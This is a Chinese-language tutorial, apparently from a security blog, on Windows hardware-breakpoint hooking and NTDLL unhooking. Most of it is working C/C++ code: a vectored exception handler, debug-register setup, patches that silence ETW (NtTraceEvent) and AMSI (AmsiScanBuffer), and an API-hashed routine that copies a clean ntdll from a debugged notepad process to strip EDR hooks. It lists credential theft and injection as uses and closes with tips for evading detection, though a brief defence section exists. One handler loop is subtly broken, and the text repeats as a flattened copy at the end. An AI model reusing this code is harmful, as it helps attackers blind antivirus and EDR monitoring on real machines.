硬件断点实现的HOOK与UNHOOK技术
字数 1500 2025-08-19 12:40:55

硬件断点实现的HOOK与UNHOOK技术详解

1. 硬件断点基础概念

1.1 软件断点原理

软件断点通过修改内存代码实现:

  • 在目标地址将指令修改为INT 3(0xCC)
  • 程序执行到该地址时会暂停执行
  • 特点:需要修改内存代码,容易被检测

1.2 硬件断点原理

硬件断点使用CPU调试寄存器实现:

  • 每个线程有自己的调试寄存器(DR0-DR7)
  • DR0-DR3存储断点地址
  • DR7控制断点启用和类型
  • EFLAGS寄存器的第16位RF控制恢复执行

关键寄存器:

  • DR0-DR3:存储断点地址
  • DR7:控制断点启用(G0-G3)和类型
    • G0-G3对应DR0-DR3的启用位
    • L0-L3对应DR0-DR3的局部启用位

1.3 软件断点与硬件断点的区别

特性 软件断点 硬件断点
实现方式 修改内存代码 使用CPU寄存器
隐蔽性 低(可被内存扫描检测) 高(不修改内存)
数量限制 无限制 每个线程最多4个(DR0-DR3)
适用范围 任意代码位置 受限于寄存器数量

2. 硬件断点HOOK技术

2.1 基本流程

  1. 注册Vectored Exception Handler (VEH)
  2. 设置目标函数的硬件断点
  3. 程序执行到断点触发异常
  4. 异常处理函数执行HOOK逻辑
  5. 恢复执行流程

2.2 关键代码实现

2.2.1 初始化VEH

PVOID hardware_engine_init(void) {
    const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);
    InitializeCriticalSection(&g_critical_section);
    return handler;
}

2.2.2 设置硬件断点

void set_hardware_breakpoint(
    const DWORD tid,       // 线程ID
    const uintptr_t address, // 断点地址
    const UINT pos,        // 使用哪个寄存器(0-3)
    const BOOL init        // 启用或禁用
) {
    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    HANDLE thd = (tid == GetCurrentThreadId()) ? 
        GetCurrentThread() : OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    
    GetThreadContext(thd, &context);
    
    if (init) {
        (&context.Dr0)[pos] = address;
        context.Dr7 &= ~(3ull << (16 + 4 * pos));
        context.Dr7 &= ~(3ull << (18 + 4 * pos));
        context.Dr7 |= 1ull << (2 * pos);
    } else {
        if ((&context.Dr0)[pos] == address) {
            context.Dr7 &= ~(1ull << (2 * pos));
            (&context.Dr0)[pos] = 0ull;
        }
    }
    
    SetThreadContext(thd, &context);
    CloseHandle(thd);
}

2.2.3 异常处理函数

LONG WINAPI exception_handler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
        struct descriptor_entry* temp;
        BOOL resolved = FALSE;
        
        EnterCriticalSection(&g_critical_section);
        temp = head;
        while (temp != NULL) {
            if (temp->adr == ExceptionInfo->ContextRecord->Rip) {
                if (temp->tid != 0 && temp->tid != GetCurrentThreadId()) 
                    continue;
                
                temp->fun(ExceptionInfo); // 执行HOOK函数
                resolved = TRUE;
            }
            temp = temp->next;
        }
        LeaveCriticalSection(&g_critical_section);
        
        if (resolved) {
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

2.2.4 示例HOOK函数

// 简单返回PATCH
void rip_ret_patch(const PEXCEPTION_POINTERS ExceptionInfo) {
    ExceptionInfo->ContextRecord->Rip = find_gadget(
        ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500);
    ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // 设置Resume Flag
}

// LoadLibraryExW HOOK
void load_library_patch(const PEXCEPTION_POINTERS ExceptionInfo) {
    if (_wcsicmp(L"DBGHELP.dll", (PVOID)ExceptionInfo->ContextRecord->Rcx) == 0) {
        ExceptionInfo->ContextRecord->Rip = find_gadget(
            ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500);
        ExceptionInfo->ContextRecord->Rax = 0ull;
    }
    ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}

2.3 使用示例

int main() {
    const PVOID handler = hardware_engine_init();
    
    // ETW PATCH - NtTraceEvent
    uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"ntdll.dll"), "NtTraceEvent");
    insert_descriptor_entry(etwPatchAddr, 0, rip_ret_patch, GetCurrentThreadId());
    
    // AMSI PATCH
    LoadLibraryA("AMSI.dll");
    uintptr_t amsiPatchAddr = (uintptr_t)GetProcAddress(
        GetModuleHandleW(L"AMSI.dll"), "AmsiScanBuffer");
    insert_descriptor_entry(amsiPatchAddr, 1, rip_ret_patch, GetCurrentThreadId());
    
    // 测试代码...
    
    // 清理
    delete_descriptor_entry(etwPatchAddr, GetCurrentThreadId());
    delete_descriptor_entry(amsiPatchAddr, GetCurrentThreadId());
    hardware_engine_stop(handler);
}

3. 硬件断点UNHOOK技术

3.1 NTDLL UNHOOK原理

常规UNHOOK方法:

  • 从磁盘读取干净NTDLL
  • 从knowdll目录读取
  • 从挂起进程读取
  • 从远程服务器读取

硬件断点UNHOOK方法:

  1. 创建调试模式下的新进程(如notepad.exe)
  2. 使用硬件断点阻止其他DLL加载
  3. 获取干净的NTDLL副本
  4. 复制到当前进程替换被HOOK的NTDLL

3.2 关键代码实现

3.2.1 创建调试进程

PROCESS_INFORMATION createProcessInDebug(wchar_t* processName) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    
    HMODULE hKernel_32 = GetModuleFromPEB(109513359);
    TypeCreateProcessW CreateProcessWCustom = (TypeCreateProcessW)GetAPIFromPEBModule(hKernel_32, 926060913);
    
    BOOL hProcbool = CreateProcessWCustom(processName, processName, NULL, NULL, 
        FALSE, DEBUG_PROCESS, NULL, NULL, &si, &pi);
    return pi;
}

3.2.2 设置硬件断点阻止DLL加载

VOID SetHWBP(DWORD_PTR address, HANDLE hThread) {
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;
    ctx.Dr0 = address;  // LdrLoadDll地址
    ctx.Dr7 = 0x00000001;
    
    SetThreadContext(hThread, &ctx);
    
    DEBUG_EVENT dbgEvent;
    while (true) {
        if (WaitForDebugEvent(&dbgEvent, INFINITE) == 0) break;
        
        if (dbgEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && 
            dbgEvent.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP) {
            
            CONTEXT newCtx = { 0 };
            newCtx.ContextFlags = CONTEXT_ALL;
            GetThreadContext(hThread, &newCtx);
            
            if (dbgEvent.u.Exception.ExceptionRecord.ExceptionAddress == (LPVOID)address) {
                printf("[+] Breakpoint Hit!\n");
                newCtx.Dr0 = newCtx.Dr6 = newCtx.Dr7 = 0;
                newCtx.EFlags |= (1 << 8);
                return;
            } else {
                newCtx.Dr0 = address;
                newCtx.Dr7 = 0x00000001;
                newCtx.EFlags &= ~(1 << 8);
            }
            SetThreadContext(hThread, &newCtx);
        }
        ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
    }
}

3.2.3 复制干净NTDLL

int CopyDLLFromDebugProcess(HANDLE hProc, size_t bAddress, BOOL stealth) {
    HMODULE hKernel_32 = GetModuleFromPEB(109513359);
    HMODULE hNtdll = GetModuleFromPEB(4097367);
    
    _NtReadVirtualMemory NtReadVirtualMemoryCustom = 
        (_NtReadVirtualMemory)GetAPIFromPEBModule(hNtdll, 228701921503);
    TypeVirtualProtect VirtualProtectCustom = 
        (TypeVirtualProtect)GetAPIFromPEBModule(hKernel_32, 955026773);
    
    PIMAGE_DOS_HEADER ImgDosHeader = (PIMAGE_DOS_HEADER)bAddress;
    PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)bAddress + ImgDosHeader->e_lfanew);
    IMAGE_OPTIONAL_HEADER OptHeader = (IMAGE_OPTIONAL_HEADER)ntHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER textsection = IMAGE_FIRST_SECTION(ntHeader);
    DWORD DllSize = OptHeader.SizeOfImage;
    
    PBYTE freshDll = new BYTE[DllSize];
    
    if (stealth) {
        LPVOID freshNtdll = VirtualAlloc(NULL, DllSize, MEM_COMMIT, PAGE_READWRITE);
        NtReadVirtualMemoryCustom(hProc, (PVOID)bAddress, freshNtdll, DllSize, 0);
        BOOL execute = Execute((PVOID)bAddress, freshNtdll, textsection);
        if (execute) return 0;
        else return 1;
    }
    
    NTSTATUS status = (*NtReadVirtualMemoryCustom)(hProc, (PVOID)bAddress, freshDll, DllSize, 0);
    if (status != 0) {
        delete[] freshDll;
        return 1;
    }
    
    for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)
            ((unsigned long long)IMAGE_FIRST_SECTION(ntHeader) + 
             ((unsigned long long)IMAGE_SIZEOF_SECTION_HEADER * i));
        
        if (strcmp((char*)hookedSectionHeader->Name, ".text") != 0) continue;
        
        DWORD oldProtection = 0;
        VirtualProtectCustom((LPVOID)((DWORD_PTR)bAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
            hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
        
        DWORD textSectionSize = hookedSectionHeader->Misc.VirtualSize;
        LPVOID srcAddr = (LPVOID)((DWORD_PTR)freshDll + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
        LPVOID destAddr = (LPVOID)((DWORD_PTR)bAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
        
        size_t chunkSize = 1024;
        size_t numChunks = (textSectionSize + chunkSize - 1) / chunkSize;
        
        for (size_t i = 0; i < numChunks; i++) {
            size_t chunkStart = i * chunkSize;
            size_t chunkEnd = min(chunkStart + chunkSize, textSectionSize);
            size_t chunkSize = chunkEnd - chunkStart;
            memcpy((char*)destAddr + chunkStart, (char*)srcAddr + chunkStart, chunkSize);
        }
        
        VirtualProtectCustom((LPVOID)((DWORD_PTR)bAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
            hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        
        delete[] freshDll;
        return 0;
    }
    
    delete[] freshDll;
    return 1;
}

3.2.4 Stealth模式实现

BOOL OverwriteNtdll(PVOID ntdllBase, PVOID freshntDllBase, 
    PIMAGE_EXPORT_DIRECTORY hooked_pImageExportDirectory, 
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, 
    PIMAGE_SECTION_HEADER textsection) {
    
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)ntdllBase + hooked_pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ntdllBase + hooked_pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ntdllBase + hooked_pImageExportDirectory->AddressOfNameOrdinals);
    
    for (WORD cx = 0; cx < hooked_pImageExportDirectory->NumberOfNames; cx++) {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ntdllBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)ntdllBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        
        if (strstr(pczFunctionName, "Nt") != NULL) {
            PVOID funcAddress = GetTableEntry(freshntDllBase, pImageExportDirectory, pczFunctionName);
            
            if (funcAddress != 0x00 && strcmp("NtAccessCheck", pczFunctionName) != 0) {
                if (strcmp(pczFunctionName, "NtAllocateVirtualMemory") == 0) {
                    DWORD oldprotect = ChangePerms((LPVOID)((DWORD_PTR)ntdllBase + 
                        (DWORD_PTR)textsection->VirtualAddress), PAGE_EXECUTE_WRITECOPY, 
                        textsection->Misc.VirtualSize);
                    
                    if (oldprotect == 0) return FALSE;
                    
                    if (memcpy((LPVOID)pFunctionAddress, (LPVOID)funcAddress, 23) == NULL) {
                        return FALSE;
                    }
                    
                    if (ChangePerms((LPVOID)((DWORD_PTR)ntdllBase + 
                        (DWORD_PTR)textsection->VirtualAddress), oldprotect, 
                        textsection->Misc.VirtualSize) == 0) {
                        return FALSE;
                    }
                    return TRUE;
                }
            }
        }
    }
    return FALSE;
}

4. 应用场景与防御

4.1 应用场景

  1. ETW/AMSI绕过:Patch相关函数如NtTraceEvent、AmsiScanBuffer
  2. DLL加载控制:拦截LoadLibraryExW等函数
  3. 反调试:检测调试器设置的硬件断点
  4. 凭据窃取:HOOK敏感API如CredEnumerateW
  5. 进程注入:拦截进程创建相关API

4.2 防御措施

  1. 硬件断点检测

    • 检查DR0-DR7寄存器
    • 检测异常处理链中的可疑VEH
  2. 行为监控

    • 监控SetThreadContext调用
    • 监控调试寄存器修改
  3. 内存完整性检查

    • 定期校验关键函数内存
    • 对比磁盘与内存中的NTDLL
  4. 进程行为分析

    • 检测创建调试进程的行为
    • 监控进程内存复制操作

5. 总结

硬件断点HOOK/UNHOOK技术具有以下特点:

优势

  • 不修改内存代码,隐蔽性高
  • 无需处理重定位问题
  • 可针对特定线程设置
  • 兼容性好,不易受ASLR影响

局限

  • 每个线程最多4个断点(DR0-DR3)
  • 需要处理异常流程
  • 可能被硬件断点检测发现

进阶方向

  1. 结合syscall技术增强隐蔽性
  2. 动态调整断点位置
  3. 与API哈希技术结合避免字符串特征
  4. 多阶段HOOK降低检测概率

通过合理运用硬件断点技术,可以实现高效隐蔽的HOOK和UNHOOK操作,是高级攻防对抗中的重要技术手段。

硬件断点实现的HOOK与UNHOOK技术详解 1. 硬件断点基础概念 1.1 软件断点原理 软件断点通过修改内存代码实现: 在目标地址将指令修改为INT 3(0xCC) 程序执行到该地址时会暂停执行 特点:需要修改内存代码,容易被检测 1.2 硬件断点原理 硬件断点使用CPU调试寄存器实现: 每个线程有自己的调试寄存器(DR0-DR7) DR0-DR3存储断点地址 DR7控制断点启用和类型 EFLAGS寄存器的第16位RF控制恢复执行 关键寄存器: DR0-DR3:存储断点地址 DR7:控制断点启用(G0-G3)和类型 G0-G3对应DR0-DR3的启用位 L0-L3对应DR0-DR3的局部启用位 1.3 软件断点与硬件断点的区别 | 特性 | 软件断点 | 硬件断点 | |------|----------|----------| | 实现方式 | 修改内存代码 | 使用CPU寄存器 | | 隐蔽性 | 低(可被内存扫描检测) | 高(不修改内存) | | 数量限制 | 无限制 | 每个线程最多4个(DR0-DR3) | | 适用范围 | 任意代码位置 | 受限于寄存器数量 | 2. 硬件断点HOOK技术 2.1 基本流程 注册Vectored Exception Handler (VEH) 设置目标函数的硬件断点 程序执行到断点触发异常 异常处理函数执行HOOK逻辑 恢复执行流程 2.2 关键代码实现 2.2.1 初始化VEH 2.2.2 设置硬件断点 2.2.3 异常处理函数 2.2.4 示例HOOK函数 2.3 使用示例 3. 硬件断点UNHOOK技术 3.1 NTDLL UNHOOK原理 常规UNHOOK方法: 从磁盘读取干净NTDLL 从knowdll目录读取 从挂起进程读取 从远程服务器读取 硬件断点UNHOOK方法: 创建调试模式下的新进程(如notepad.exe) 使用硬件断点阻止其他DLL加载 获取干净的NTDLL副本 复制到当前进程替换被HOOK的NTDLL 3.2 关键代码实现 3.2.1 创建调试进程 3.2.2 设置硬件断点阻止DLL加载 3.2.3 复制干净NTDLL 3.2.4 Stealth模式实现 4. 应用场景与防御 4.1 应用场景 ETW/AMSI绕过 :Patch相关函数如NtTraceEvent、AmsiScanBuffer DLL加载控制 :拦截LoadLibraryExW等函数 反调试 :检测调试器设置的硬件断点 凭据窃取 :HOOK敏感API如CredEnumerateW 进程注入 :拦截进程创建相关API 4.2 防御措施 硬件断点检测 : 检查DR0-DR7寄存器 检测异常处理链中的可疑VEH 行为监控 : 监控SetThreadContext调用 监控调试寄存器修改 内存完整性检查 : 定期校验关键函数内存 对比磁盘与内存中的NTDLL 进程行为分析 : 检测创建调试进程的行为 监控进程内存复制操作 5. 总结 硬件断点HOOK/UNHOOK技术具有以下特点: 优势 : 不修改内存代码,隐蔽性高 无需处理重定位问题 可针对特定线程设置 兼容性好,不易受ASLR影响 局限 : 每个线程最多4个断点(DR0-DR3) 需要处理异常流程 可能被硬件断点检测发现 进阶方向 : 结合syscall技术增强隐蔽性 动态调整断点位置 与API哈希技术结合避免字符串特征 多阶段HOOK降低检测概率 通过合理运用硬件断点技术,可以实现高效隐蔽的HOOK和UNHOOK操作,是高级攻防对抗中的重要技术手段。